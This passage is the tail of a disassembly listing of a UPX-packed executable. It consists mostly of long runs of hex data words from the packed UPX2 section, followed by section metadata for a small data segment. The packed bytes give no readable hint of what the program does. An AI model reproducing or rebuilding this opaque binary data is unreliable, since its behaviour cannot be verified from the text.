863B45CDh, 0B7087040h, 0E856DAF5h, 0A7B85570h, 58890904h dd 4D8BB90h, 8857E02Bh, 76D7153Fh, 9D0E40D0h, 0C8C8B1EFh dd 12E8CAE1h, 0D7FA3AF1h, 0C8370695h, 77E03310h, 3948E42Fh dd 65AB1030h, 8856ABD5h, 1A481A50h, 0EFDDF33h, 2D78C04Eh dd 180D8F40h, 85983091h, 0A8B6651Dh, 80B021B0h, 0E737BA83h dd 0C8D864B8h, 9EC3FEE0h, 7CDC6479h, 0E67295FFh, 3595B000h dd 38387EB3h, 0CCD01181h, 15B73FBAh, 5846F0C5h, 90684A60h dd 0A878D064h, 0CD77D3D2h, 8880F92h, 0AC8CA42Dh, 2A58053Dh dd 179840D0h, 8C53FA66h, 9829B4C4h, 29B252F8h, 0CA0A4A12h dd 0CC13B35Ah, 0D9A86804h, 0E0D8D13Fh, 0BC0CCB11h, 186A8F40h dd 0C7289DEDh, 0B490D060h, 7D888080h, 28E006BEh, 9886C08Eh dd 4D9DB58Ah, 3DB078EEh, 0BBFDD0A8h, 31A7EAEAh, 7FF870BEh dd 0E63A95FFh, 4C99B000h, 3828608Ch, 0BF68105Ah, 9ADD3F13h dd 0C358606Fh, 0E87DB0EDh, 4B78BA70h, 5541EB9Bh, 89DD8C1h dd 9D8EE0A0h, 3FB89AD4h, 26FAD53Fh, 0C5BF0C0h, 7303F0ECh dd 28F85798h, 41B58D00h, 0DF18A00Eh, 3ABD9F73h, 6D38000Fh dd 151CBE80h, 586730E5h, 68CDA360h, 0A878C065h, 19B70D0Dh dd 0C6B33080h, 0EEF9E0CAh, 962D6FE3h, 9BC850FEh, 0E7A6F028h dd 0F5162B71h, 38C71045h, 2A05B000h, 0E808C5BEh, 0C7D251C8h dd 0FF4A71CFh, 0EFC5C9A3h, 0C3B29B51h, 75A60BAFh, 0B84790CDh dd 0DF2C7380h, 5B21DB67h dd 865A755Fh, 0D53890A0h, 18D855B7h, 0A0F284D1h, 78E8D5D0h dd 165AC50Fh, 65880010h, 8808F12Fh, 0FF391420h, 0F8267FB5h dd 9848C040h, 77DDB650h, 0F8683021h, 5786D899h, 0D80D477Fh dd 8982085h, 0E528E0A0h, 65B89472h, 76E80FCAh, 0E8B69FBFh dd 14C8C68Fh, 99D3699h, 0AC284F20h, 0A87DDD79h, 5B080F54h dd 8A5D7C55h, 0FD3CA132h, 68527D71h, 0D8480040h, 0DD0BF03Fh dd 2AEDEDEDh, 7AF957B0h, 99C685C4h, 0DEA9ABDh, 6CA625ACh dd 0BBAB95BCh, 10C8D98Ch, 51882091h, 0BC666120h, 0F860D530h dd 595C0345h, 0C814645Eh, 0F629B433h, 2F361934h, 0F545005Ah dd 0DC19877Ah, 36E1E8E3h, 64F910F7h, 0D9CCC0CCh, 6D9B0C9h dd 71A660A4h, 0E4AC98B7h, 0A87C6C0h, 418A36D0h, 0AB6C6E65h dd 0FF38F930h, 25C0941h, 806F1A3Dh, 0B82DB225h, 683D0231h dd 0D41D4F19h, 0C10AB650h, 2BECEEE5h, 67DB10AFh, 988985CDh dd 198E4F9h, 71BC60B3h, 0E8F995BDh, 0BCFD4A9h, 5C993CD0h dd 79A02165h, 0F2ACFCB2h, 2C01652Bh, 39BB0096h, 59367340h dd 0F8036A23h, 25DE0097h, 0A886C787h, 58883DC0h, 8983090h dd 0B8A8E0A0h, 68B890B0h, 18C840C0h, 0C8D8F0D0h, 78E8A0E0h dd 28F850F0h, 0D8080000h, 8818B010h, 38286020h, 0E8381030h dd 9848C040h, 48587050h, 0F8682060h, 0A878D070h, 58888080h dd 8983090h, 0B8A8E0A0h, 68B890B0h, 18C840C0h, 0C8D8F0D0h dd 78E8A0E0h, 9BAA50F0h, 5B68D8B8h, 985A00B5h, 9DAB6020h dd 0E8285284h, 0DBFFCF40h, 500BFD44h, 0FE23976Fh, 0ECF30073h dd 1AA3A4A4h, 3381429Ch, 0ACDBE8E2h, 43ACD23Bh, 8D414C82h dd 0C8C8B260h, 3A5C2569h, 2D1350E0h, 3A20C283h, 8CDAD1C9h dd 60ADE820h, 380014h, 9848C024h, 48585038h, 7DEDAD60h dd 0F178C053h, 54FC98B9h, 0EA9CF013h, 342D1F57h, 0ABB880F2h dd 95CB9937h, 0C8C8D488h, 817B003h, 0ABF8DF0Ch, 2EEA04E8h dd 0AB9D2D99h, 2AB6030h, 0C33D6430h, 883AC372h, 10A43EDDh dd 0C2EB7E3Bh, 577CA470h, 0A78B6BB2h, 5F7020E2h, 93571F5Fh dd 0DC35BB7Eh, 40C85082h, 0BECBBD3h, 3A78256Fh, 0AD3F50E0h dd 0D818428Ch, 8818B010h, 38285CC8h, 64BD9B30h, 7048D002h dd 0B7A786E0h, 0F8683888h, 24C55370h, 588890C2h, 951138E5h dd 0B8B8C4A1h, 0E5470C5Bh, 18D8024Ch, 585D7F13h, 0F1E8B0A2h dd 38BADC65h, 0D80BE800h, 412BB010h, 0B8BBEBE3h, 0BA381030h dd 67B62DA8h, 0FCCD73AFh, 0FB683022h, 0A40253A6h, 5F0C8F80h dd 8B983091h, 0B7A8F0DAh, 68B86D34h, 148ACBC0h, 36101880h dd 0FDEB5F1Fh, 28E81244h, 5258C603h, 88E13018h, 0C1A87954h dd 0A83B641Eh, 0D0C331ABh, 97B9F151h, 79B7FFBFh, 0E4349489h dd 164F580h, 0F11BF8BBh, 0F27EF5Ah, 0EB890B0h, 2B363841h dd 635DFFE2h, 2EE8A0E0h, 5DF86A73h, 0C8428B05h, 8293B2FBh dd 0D0799123h, 17C7EE42h, 0DAFC7543h, 0CDF57040h, 0F79358A0h dd 0A87854F4h, 0EC3D7F80h, 589820D2h, 4756B548h, 0DC3D934Fh dd 97C85082h, 0D89A4455h, 5CECA3E0h, 2A38D3A3h, 6E07DB33h dd 80A5318h, 0F97B40E9h, 0C13C3414h, 9461E45Ch, 0A3182B74h dd 0F793A189h, 0DCA56BA7h, 0F07301BEh, 7C435ED5h, 0E1536196h dd 1C47318Bh, 0CE33C1EEh, 0BC7445F2h, 0EB1321C6h, 5C0B0819h dd 0A5F3811Eh, 0FCEBE8F9h, 7ED3E136h, 9CD9350Fh, 0A8B3414Eh dd 3CB9556Fh, 68FDDF66h, 0F378C032h, 0A777F169h, 0CA1B6E6Fh dd 464709B4h, 6B7B6F4Fh, 0F09044AAh, 37270580h, 5EDA3568h dd 909E50E0h, 3A0A1831h, 8A1B54D0h, 528306C2h, 0DDD04836h dd 1BB73FB5h, 99DF7892h, 1030250Ah, 57872558h, 2B8B7A00h dd 0AC8809Bh, 0A88ED225h, 4F533AB0h, 0B29028AAh, 0BDDB0A50h dd 90F910F8h, 0D707A5F8h, 0D80801B8h, 0FCCA3410h, 0C6C8B12Dh dd 3CEFBFAh, 98487845h, 0AAF3F050h, 6DE5E3DFh, 0A868E9F8h dd 827F57ABh, 751DC753h, 0B8A8F099h, 67B090B0h, 0F8098055h dd 0B35D06DBh, 79E8B0D9h, 259E5685h, 0CBE32589h, 0B16335E6h dd 4D2A6030h, 0D9357636h, 0FE4C2B65h, 2E7D715Dh, 7D4C8CBh dd 0EBF32F8Fh, 0FC1D09B4h, 0A39820D2h, 0C52D1763h, 68B88089h dd 17C040C0h, 74DC3045h, 8774484Ah, 0BD71AF0Fh, 0D81842A8h dd 0B16335E6h, 4D296030h, 3091F34h, 3388EB42h, 35DD8793h dd 0F8683059h, 0DC70D070h, 2F0D0AA7h, 0C99820A9h, 0B5CEEB40h dd 0C3DED53Bh, 9262B870h, 0D8E18755h, 630861E0h, 0A19C37F5h dd 183BAB06h, 9AF31B76h, 3DA70498h, 6DB2BB30h, 9858F937h dd 0A8992854h, 3EAB8B78h, 0B85F5DF5h, 7D638980h, 2873CC20h dd 0B84358C6h, 71533BD6h, 0F09044AAh, 372704C0h, 0B93AA46Dh dd 2D9E5810h, 736EC089h, 18A8B3FBh, 603D0A8Ah, 17CBE7D8h dd 15CD40BFh, 4E586077h, 8B60DAE0h, 0DCAA545Fh, 2C427E43h dd 7C52CE53h, 0CC621E67h, 1C726E69h, 6C02BECCh, 0BC120EDFh dd 931110EFh, 827FE03Bh, 1CE3DBB0h, 48F345A0h, 84C39890h dd 95BDE7F3h, 9848D079h, 0F8587070h, 0FC6A55E6h, 56375D74h dd 61FD250Ah, 0A3FE3080h, 0CDAD1C20h, 0E8B820B7h, 0B288BF8Fh dd 37279238h, 56D571Fh, 28F840C9h, 0BE080040h, 0FD29D6A8h dd 5E01D422h, 0E220A09Bh, 8871B7C5h, 4BB8B050h, 755C8CAh dd 20C82F8Fh, 61F50577h, 88983080h, 0BADDE0A0h, 0CD321600h dd 18D879B5h, 34585BB6h, 0C8EFD5E5h, 0D7B7D0F0h, 55CBAA40h dd 982138ADh, 0C7258820h, 6DCFEFCFh, 9858F93Dh, 68587050h dd 98D82314h, 0D5FD27DAh, 588890B9h, 7C903090h, 33FD58A7h dd 2713905Ch, 21B5C537h, 0C8DBF0C0h, 0FCE7A1E0h, 28F85000h dd 73A2E8B0h, 0CA8C0D99h, 0F4C06030h, 58C7EFCEh, 11E36AA8h dd 581AE8EDh, 6D5C860h, 2D8F2F8Fh, 5898B9FDh, 8983093h dd 3D5FFAD4h, 68A8A9CDh, 19C840C0h, 0E630FAA4h, 90175F1Eh dd 0D707AE6Bh, 73A2E9B0h, 0CA8C359Bh, 0F7A36030h, 55B1D81Bh dd 985882DCh, 0F0A438D9h, 0CE974407h, 0CEB8E3DBh, 250D772Bh dd 0B9820A9h, 0CCA8E0A0h, 133D66A3h, 98C850F9h, 6230FAA4h dd 90175F1Dh, 0D707AEABh, 516C67B8h, 482B1B36h, 0BDDFCB46h dd 0E828294Dh, 9848C043h, 0CDAE2A24h, 0F878191Bh, 4072A5F0h dd 0A7777D01h, 0F7660278h, 45AA085Fh, 48086F4Fh, 0E7335428h dd 0AEE1132Fh, 1EFD5F58h, 0A353C15Bh, 0C8317D95h, 7FCA4710h dd 382863E2h, 2C6530h, 67B73C9Ch, 0A6B06FE0h, 9E97DF9Ah dd 0CE6D2FC8h, 0D323112Bh, 941DBB5Fh, 93A8F0E2h, 94F01978h dd 21B5C537h, 0C8DBF0C0h, 409CA0E0h, 1185D507h, 0D8080010h dd 0A46CB610h, 155E5D7h, 0E8381020h, 923DC140h, 0B7A5B2B8h dd 523C89Fh, 2D8F2F8Fh, 5898B9FDh, 0C983090h, 1440EAD4h dd 80476F4Dh, 0E737BDA1h, 0F1A57527h, 78ECA0F0h, 3F8C50F0h dd 27F596E8h, 483108EFh, 8083A8DEh, 0EC4CD038h, 603D78EBh dd 0A0F317BBh, 797DD1Fh, 91055587h, 58808090h, 7AED3090h dd 81D35D20h, 1CB890A0h, 0E5ADA8A9h, 0E1600F2Fh, 722189F8h dd 38C12755h, 0DBECC000h, 0B16F151Ah, 0D0836030h, 17C7ED7Bh dd 12E271F0h, 58610BD5h, 0C4808A60h, 0A7872F8Dh, 61FF0536h dd 0C153080h, 79E8E460h, 0E5089850h, 1978EBA6h, 0E830A77Ah dd 51175F1Dh, 909E74CCh, 2F51FBE2h, 9821CD95h, 38287020h dd 583F6430h, 202E6A09h, 0A95A8A25h, 4808B06h, 18872F8Ch dd 98BB2A68h, 8825B93Bh dd 4FA8F0E2h, 7881ED35h, 18C860C0h, 9FCF85D0h, 87147E08h dd 0E7730A0Fh, 122358B0h, 0B16D351Ah, 72A16030h, 20D0BACCh dd 0FEB73FBCh, 0BF98F1E8h, 0E8515DE5h, 0A8789070h, 0D88BF480h dd 0AD921854h, 0B8B8D9D5h, 0D5313BD6h, 18D80244h, 0B55D077Bh dd 78E8B0D9h, 5DB850F0h, 0DA58B009h, 9821C595h, 0BDDFCA20h dd 0E828294Dh, 9848C0C0h, 0F0E87B25h, 0C11EA56Ah, 43D2D060h dd 6930E6BDh, 751DC788h, 0B8A8F099h, 1CB890B1h, 12E1F0C2h dd 0D8E18675h, 7B0C60E0h, 118EF5FAh, 736E0010h, 78990876h dd 155E5D7h, 0EA381020h, 9A3DC040h, 0ED52B8E4h, 0F8781916h dd 15F17B16h, 5898C220h, 8B1B828h, 3D5F4BA0h, 68A8A9CDh dd 18C840C8h, 0E83081A4h, 8F175F1Ch, 38C12D75h, 0D80C0000h dd 3813C510h, 4FAD6A98h, 42380009h, 1DBF8DABh, 4848492Dh dd 0F8682860h, 101EC105h, 0FD826003h, 88809E7h, 789B4BC6h dd 0EAD7B1Ah, 12D06978h, 0D8E18775h, 7B0C60E0h, 118FF5FAh dd 736E0010h, 0B16535E7h, 28286030h, 505E1030h, 9B3C00C1h dd 4250B4D0h, 0E85157C5h, 0A7D3B670h, 61F30536h, 0E0333080h dd 47571B0Fh, 51C51547h, 18C840D0h, 0C6ACB0D0h, 0FDEAF050h dd 28E86985h, 239DE8AAh, 0C7954FEFh, 0B0A5E9DEh, 1F380072h dd 8871BDC5h, 48587050h, 486454E0h, 21D37A98h, 48CA2C3Dh dd 0E09DDB90h, 47571B41h, 9743FA58h, 654DB73Fh, 0C8D8E0E9h dd 0DE8A1E0h, 22B8E0FBh, 0C8317585h, 87F31A10h, 0F8ABD846h dd 0D14DB53Ah, 332EC050h, 0BFF271E0h, 0E8515DE5h, 0AA78D070h dd 0AFA7F580h, 18A14D15h, 0BCA8E0A0h, 0D8A2E5B0h, 6F4D4A00h dd 42D8E0E9h, 68D1DC45h, 381891F0h, 596EB866h, 631800BBh dd 3268D028h, 0F80167B5h, 1DBF6A40h, 4848492Dh, 0F8602060h dd 101EC005h, 0FD826803h, 88809E6h, 0B9184BC6h, 2008985Bh dd 21BEC5CAh, 2072F0C0h, 87175A3Fh, 1185D507h, 0D8080010h dd 0FDA9B000h, 804E4555h, 4D32E8B3h, 9858F936h, 886BDB36h dd 70D509CAh, 5F78C032h, 48B1FD05h, 28983090h, 9B795A0h dd 0EA37BC7h, 12D04978h, 0D8E18675h, 7B0C60E0h, 118EF5FAh dd 736E0010h, 0CA900D39h, 0F9A26030h, 0AAB0B5BAh, 332EC050h dd 0CD5A28E0h, 0F8781915h, 520138DAh, 0DD7F7F7Fh, 88809EDh dd 0B9A8E0A3h, 0ED4FBCC4h, 18D879BDh, 0CCD8F0D0h, 0FD1F8095h dd 28E8698Dh, 0DB080000h, 56F0BA65h, 0D0D79FD9h, 17C7EA7Bh dd 67B2C0A8h, 0B21998AFh, 7D9FDF9Fh, 0A868E90Dh, 50888080h dd 0C12838E4h, 4285080Ah, 0ED4F6F4Fh, 18D879BDh, 0E8D8F0D0h dd 7F588A94h, 118DD5DAh, 38C90010h, 8091BD0Ah, 9D2A6004h dd 0E8282945h, 184B2480h, 0A0F37494h, 797D99Fh, 40D2B1C0h dd 0A7777977h, 0E86788F6h, 81DD45AAh, 0C3DE90A0h, 0E731A628h dd 0B55D072Fh, 58E8B0D9h, 5CF850F0h, 53CF8B44h, 985A309Dh dd 0B1E94B20h, 0B088EC71h, 0A13D454Ah, 0A0F27040h, 797D9DFh dd 91055587h, 58888090h, 4EC30D0h, 7BF858C6h, 51CD15BAh dd 122340D0h, 282748B6h, 419D05EAh, 839E50E0h, 27F196E8h dd 0F59D47EFh, 3B287019h, 9C391030h, 13874B1Fh, 581AE8D5h dd 71A00B60h, 614B2C38h, 61F50577h, 8983080h, 0B6DDE020h dd 51CD153Dh, 104240D0h, 0CB217090h, 7C655893h, 38DC143Dh dd 0D0E8C100h, 6BB33BA0h, 9900626h, 8E9376F0h, 0F0C84FF8h dd 485870E8h, 530EC162h, 61FD7B28h, 0E0EE86F5h, 0A3FEF0A1h dd 50022310h, 9747699Bh, 21B5C537h, 0C8D8F0C0h, 629C20E0h dd 0AD739F7Bh, 0D81842ACh, 0C091783Bh, 0C15788DCh, 2B88EFCFh dd 614D28EAh, 0CDD58FAFh, 0F87819E8h, 91055587h, 58888090h dd 0EED2090h, 0E050CBF7h, 3B33895Bh, 33306BE8h, 68557B00h dd 79E8B0A2h, 38BAD065h, 53310100h, 11C9454h, 28380A9Dh dd 6C859B30h, 0B348D002h, 581AF0D5h, 85EDD760h, 0E878C049h dd 2C888080h, 0A340C792h, 0EEA8E462h, 0D40513E7h, 18C85082h dd 0C90174DFh, 7500A0E0h, 63F850F0h, 9D465245h, 0A62A835Ch dd 38642C64h, 0D65285CFh, 1DC1C050h, 48483280h, 0C430AB33h dd 0DB870873h, 6CCB0BA8h, 0F76D2978h, 83D6B5Fh, 33B880F2h dd 91C402C3h, 0D89A2455h, 70AAA3E0h, 6A20D579h, 0AB830010h dd 8AB4F38h, 0D0286020h, 17C7E4C2h, 0DAF87DCBh, 0A00E7040h dd 797D486h, 0EAC845FBh, 12038090h, 4D23398h, 512B2E8Bh dd 8309FB5h, 17C840C1h, 0C8D9AA54h, 0CC5DA3E0h, 2BF840B2h dd 0C84A70B5h, 60241C10h, 388AE52Fh, 0AEB51030h, 0E8CDEB44h dd 4B586012h, 5B807066h, 2B872F84h, 48CA303Dh, 3ED3090h dd 0B7A4A79Bh, 68B98B33h, 21C4ABC0h, 0D89A4045h, 756DAFE0h dd 2BF850F1h, 0C84A7085h, 0B099D610h, 0BD2745DFh, 0E83810CCh dd 0B34A80CBh, 0A0084413h, 797D406h, 0EAC86D49h, 0DD878090h dd 8983074h, 0FA1C65A3h, 0EDBB90A0h, 18D802B0h, 8FF3F05Bh dd 0B56AAFECh, 13F850F0h, 5B070847h, 8818B0D4h, 3B2AA0A3h dd 6D3B0477h, 98588230h, 0FDA72002h, 0F87862B0h, 9652458Fh dd 0DDD28090h, 0BF1D3F50h, 51A8E0A0h, 68B8902Ch, 9DC7BFFCh dd 0C8D8F044h, 77FD9E60h, 28F8DB75h, 0D94E8B00h, 0D82CF33Bh dd 0C7DB95C8h, 588529CFh, 0ED48D002h, 0FCDD7327h, 0FB683022h dd 0B83AA0F5h, 840D0980h, 839820D2h, 6C2DDBA0h, 1AB880F2h dd 0C04D7BC8h, 0BAD8E092h, 78E89D89h, 1F8A20F0h, 0D8081FE8h dd 74563D10h, 3A03A1ABh, 0D3285233h, 880A1CC5h, 0CB540550h dd 0C99730A4h, 0B45C94FFh, 9B936BE1h, 4A08B51Fh, 33C8E0B0h dd 78FAE005h, 0EC5BA8C0h, 61B90F2Fh, 0F8E8A0E0h, 6FD35E85h dd 0E301720Ch, 0A17B857h, 0C7D79F1Ch, 5ABD1F79h, 13B73FBEh dd 0EFD9546Ch, 0F868091Dh, 77872F8Fh, 1209C26Bh, 89850B4h dd 789BAE40h, 0EF9C9C3Bh, 88AFC45h, 705D79D0h, 0F5E8B0A2h dd 28D1D149h, 0A88D0300h, 0EE18A052h, 1366C585h, 0FC7A13F6h dd 5E44826Bh, 8FB08B16h, 0F86875E1h, 0A878D570h, 0A4CE0980h dd 5F5B6ECFh, 86DE755Fh, 807990A0h, 24D4FDFh, 98D8F0D1h dd 12C0CAB4h, 0FE6DAF0Fh, 5D08103Eh, 17EFD0h, 38286125h dd 17DC83D8h, 985928BFh, 2D0B7050h, 94016614h, 0CB1D8315h dd 2CE1F2F5h, 0F79871E9h, 0A8EAA415h, 422D6FB0h, 91C850FEh dd 0D89ABC55h, 78F148E0h, 4DAB50F0h, 0BD636154h, 0ED76C75Fh dd 51401352h, 814A4040h, 0FD24A936h, 1F581537h, 7804488h dd 0A86B388Fh, 3DDB8080h, 7CEB55C2h, 0E8CD92CFh, 1CEF9C2h dd 7DAF25ACh, 8E30A7D0h, 90175F08h, 28F850E2h, 0B94A6553h dd 0F86DDB73h, 4E411270h, 8F5D7C59h, 701FC025h, 0B7A79879h dd 0F8683888h, 0EB1D8370h, 3FE6E1E8h, 7CF77EF5h, 0E8D186C9h dd 1CEF9C2h, 7DAF25ACh, 0CE30A7D0h, 28175F08h, 0A07DDDA4h dd 0B208103Dh, 8972E074h, 0DABD9F77h, 6138000Eh, 0DB7E47Ch dd 48484E4Eh, 45E5E04Ah, 0A8689130h, 0A7D8D0D0h, 18A5B825h dd 0B8A988A0h, 2EC90B4h, 8D3717C1h, 0C8C8B29Ch, 2FECCAB4h dd 6AB4C50Fh, 1C8B0010h, 0CCAD4F04h, 0C7287062h, 0F8064AA5h dd 158B9F40h, 581930E5h, 6D977660h, 0A868EE2Eh, 57777803h dd 8988B14h, 0E82D69A0h, 2B880F2h, 8D3716C0h, 0C8C8CE4Ah dd 0FCE76065h, 28F85054h, 8858C02Bh, 0E248B37Ah, 38280821h dd 176ED030h, 8876FAD5h, 0B7A0F350h, 0FE6FA46Fh, 2DF1D070h dd 5898C2D4h, 4AC0BD1Dh dd 2D25E0B0h, 68A8D2D0h, 18A21291h, 0AE4D0F80h, 0FBE8B0DEh dd 0ACF7AF08h, 0D80805D5h, 3DE7B07Ah, 38382274h, 0D65A85CFh dd 60CBC050h, 0F6DC7FAFh, 71682065h, 0B83AB8F5h, 5B41B380h dd 59C86153h, 47F9E4CAh, 78FAC405h, 265DBFC0h, 4DD8E0EEh dd 0E26CAF20h, 1BF850F5h, 0B48D89C9h, 0D918A052h, 27403171h dd 0B8381F30h, 0A6CE55BFh, 88DD7040h, 0FD3BA46Fh, 2DF1D070h dd 5898C2F0h, 7A7B8853h, 0F323E0A0h, 153D6788h, 18C850F9h dd 0BDC8F0D0h, 126DA3E6h, 1BF840E0h, 2FC903D2h, 1F947E1h dd 286A1CA5h, 0C1BFA830h, 0D3C3C040h, 22DD736Ch, 0CB683070h dd 5FB9D3A2h, 0D1697771h, 18DA4415h, 0FA723A0h, 8B4196FBh dd 9BCDF5h, 0DC9B47DFh, 13A170E3h, 0F8FB7831h, 0AF573A81h dd 0FCE1DE79h, 3452E33Dh, 63D86231h, 0DAC3FC0Bh, 581A7344h dd 72064EDh, 695B0987h, 1AE005BBh, 835B3080h, 8BB8C4F4h dd 0D03A1F70h, 0DBC840C0h, 0C3333F5Bh, 39A81D6Dh, 0A30450E0h dd 74C133DFh, 8E6AD12Ch, 3A5F1A1Ch, 0D492301Ch, 0A4A4B41Ch dd 7485047Eh, 1B805560h, 95795BB9h, 58CDD8C5h, 5BA53BE4h dd 0B7A8B2E3h, 9747A335h, 25CBCB3Fh, 8B96B987h, 87CE24EFh dd 7FC5AF0Fh, 0D7465543h, 77E7AB94h, 7B7F5DDFh, 6C372203h dd 67B73F50h, 1C0B206Dh, 0FDEC2F2Fh, 9B872F8Fh, 0A6A5685Bh dd 18EDCF6Fh, 47541A48h, 9699784Fh, 9CC7BF3Fh, 37270E3Ch dd 6E0072D3h, 0C0F850F0h, 27F7FF63h, 8818B0F8h, 0D5A93D20h dd 0E828243Ch, 984B3AA9h, 7AA71450h, 0BA1895EBh, 211CD060h dd 6609E6A2h, 8D976ADDh, 0B8A8E343h, 6B84CE3Bh, 2349261Eh dd 4DD7B580h, 78E8A333h, 28EE1307h, 0D7080020h, 881B7695h dd 646B9620h, 54BC1F32h, 1348C043h, 0E8657813h, 0F7C880C0h dd 0A87B7EF4h, 78A8BD80h, 8C9710B0h, 0B8A8E303h, 68701B3Bh dd 0E2B40C0h, 27501881h, 0F5EB5F1Fh, 28E81244h, 0B98BCE03h dd 0E99BB050h, 0A3C06064h, 0E7C7EFCEh, 984BBAC2h, 0F0FDF350h dd 0F8683022h, 237092FBh, 99A390CAh, 0C8AB34E3h, 70ABE54Bh dd 0E1A8DA39h, 88A3845h, 0C492F3D0h, 79E8A058h, 0ED1001F0h dd 0E8F7FFE6h, 9821CB85h, 808D120h, 0F8016C85h, 6668AA40h dd 5C202899h, 78E8B88h, 0A7AA558Fh, 0BA5B4214h, 31E5A5A1h dd 5D43E0B0h, 51C51547h, 18C840D0h, 0EAACF1D0h, 41952517h dd 28FB50E0h, 0D47D0000h, 0B1651591h, 0C7D76030h, 0E2D3EBCFh dd 0A1354DC1h, 48587040h, 0FE002860h, 0F178D070h, 588886E8h dd 55706890h, 32571F46h, 7881E535h, 324CC6C0h, 0C8C8C9A5h dd 419D2568h, 0C81A50E0h, 0E17585F7h, 8810B000h, 315D6020h dd 0D14FADB0h, 0EC49C050h, 35DD8795h, 0F8683059h, 0DC70D070h dd 2D35009Bh, 0D9820A9h, 52850D4h, 68A8A9C6h, 986F34C5h dd 0D8E1876Dh, 0E69CA5E0h, 1185D507h, 0D8080010h, 816C9010h dd 15DDDA0h, 9F3A1020h, 24ED43C9h, 48586012h, 79A8688h dd 553B388Fh, 29607F7Fh, 83983092h, 0A8EA943Dh, 102593B0h dd 0F0C85082h, 37270C8Bh, 7AB924EFh, 9D7350F0h, 0D8184270h dd 8B24EE9Bh, 0C57488FEh, 6A37EFCFh, 9848C27Bh, 287C3AD1h dd 73882060h, 0AB2E828Eh, 228B94FAh, 751DC780h, 0B8A8F099h dd 1DA890B0h, 0D875C9D4h, 45D8E092h, 68D12855h, 4275DBF0h dd 2B081010h, 0EAA1E7B4h, 0B528602Ah, 0F8281085h, 29ED3340h dd 0BB5A9350h, 85EDD7C4h, 0A878C049h, 57988080h, 8989E14h dd 90DB1FA0h, 97554158h, 0A85DCB3Fh, 4DD8E092h, 0E06CAF32h dd 0A3F850F0h, 0C84A70B5h, 98523B10h, 580C2AA1h, 0C3D81030h dd 9A3BC80Ah, 3A5BB963h, 92E51B74h, 2378C060h, 4898EA0Dh dd 83CE4290h, 1D2BC49Ch, 68A880DAh, 726FC3C0h, 0C8D8F0D0h dd 79E0DA6Bh, 0DFFB58BAh, 5D83F787h, 8808F294h, 155E5D7h dd 0E8781020h, 9A3CC040h, 3A5B68A7h, 7158096Ch, 0B83A6CC5h dd 70FB0B80h, 8D6F0091h, 0B8B8D9DDh, 68B890F0h, 3F42B4h dd 34F31881h, 93B15F1Fh, 8B53FCh, 8904722Bh, 0D7BC4346h dd 0B09DED79h, 61380009h, 880A00FDh, 17FC8350h, 6A592F3Eh dd 0A93957FDh, 0CDB28080h, 88809EBh, 6AC1E6D5h, 7A8CC6C8h dd 0F198C9A6h, 3702C038h, 3263FA1Fh, 38B253FCh, 0E17585F7h dd 8818B000h, 79A57020h, 612B6535h, 880A7CCDh, 22DD7350h dd 7B683070h, 0A878BAD7h, 1BA38080h, 5D1FB9B8h, 4FA8E0A0h dd 7887A835h, 18C841C0h, 0FDF84D0h, 0D848A8A3h, 0AD0FF050h dd 0D818397Dh, 0A818B010h, 0D07A6754h, 17C7E76Bh, 24C54B1Ah dd 0AB586012h, 0D023A965h, 25F3DD9Bh, 5898C238h, 0B733273h dd 4F80AB2Bh, 7881ED35h, 18C843C0h, 43CC84D0h, 68AA6065h dd 807553F0h, 0DB081042h, 985A1495h, 0B3206120h, 6DB3007Ah dd 98588234h, 3B503A69h, 0F022A963h, 2B689271h, 0D388D8E3h dd 18DA4C15h, 912088A0h, 2AB990B0h, 5BC919C8h, 0B34D7A80h dd 8FE8B0D9h, 38C12D75h, 0D8080000h, 8B1EC400h, 28380AADh dd 1F38A630h, 8871BDC5h, 4A587050h, 67C5560h, 0D5FD27B6h dd 588890B9h, 7D983490h, 0C41D6AA6h, 9FB88089h, 8F13D45h dd 0C898F0D0h, 0F2E3D5E0h, 823A52F7h, 2FEAD602h, 8F92B9FBh dd 3A82A212h, 0DBCFF2E6h, 0BAC3A492h, 105AFF34h, 0BA3C9DE3h dd 0A778D060h, 0A7723F04h, 782DCF6Fh, 47A8F0E2h, 78863A25h dd 747DBFC0h, 37D8E092h, 68D6BE75h, 7075DDF0h, 55081042h dd 985AD085h, 527A3120h, 0BC8DEF30h, 6748D002h, 5866EEC5h dd 0ACDDDF60h, 5778C032h, 48B69E15h, 482DBD90h, 47A8F0E1h dd 78FAC005h, 8D3716C0h, 0C8C8CE4Ah, 3ABC0563h, 0EBF850E0h dd 0D80800E8h, 8972ED10h, 0A08DA1h, 18601020h, 18CD014Fh dd 0CD586045h, 30EBE3A0h, 6977208Fh, 489D0005h, 18A5F390h dd 0CDA8CAA0h, 1439F6ACh, 69A44CE4h, 20B8E3A5h, 87175F24h dd 9D105585h, 30F7FFFAh, 77E74FC2h, 15D74E41h, 0FA0C4648h dd 9848E5F8h, 0EDB01050h, 8D97DF9Fh, 8C3C5B49h, 183D0DB0h dd 839820D1h, 39CEE8F0h, 1BBA968Ah, 18A016E5h, 43D80FD0h dd 2AE8CA24h, 0C26DAFA0h, 5B08103Eh, 0B699B8D4h, 64175F7Ch dd 2EBB1345h, 622A2844h, 37B08FAFh, 9997DF9Fh, 0A80C68B3h dd 0E9638080h, 8981F28h, 0B8B508A0h, 487A90B0h, 18F8F8C0h dd 0D830F0D0h, 0BAE8A0E0h, 0AD4050D4h, 30080001h, 8818B013h dd 0B5284CE2h, 25343464h, 98B0436Eh, 0A038692Ch, 0F8682060h dd 985C84FBh, 0D9920BDDh, 18A16F7Dh, 584608A0h, 0AAD96F4Fh dd 19CA40C4h, 0CEDDF3D7h, 53ADA738h, 15FF8BC9h, 40602Ch dd 90h, 24Eh dup(0) dd 0FFFF00h, 1316h dup(0) UPX2 ends ; Section 4. (virtual address 0001A000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0001A000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 3143A000h dd 80h dup(0) align 1000h _idata2 ends end start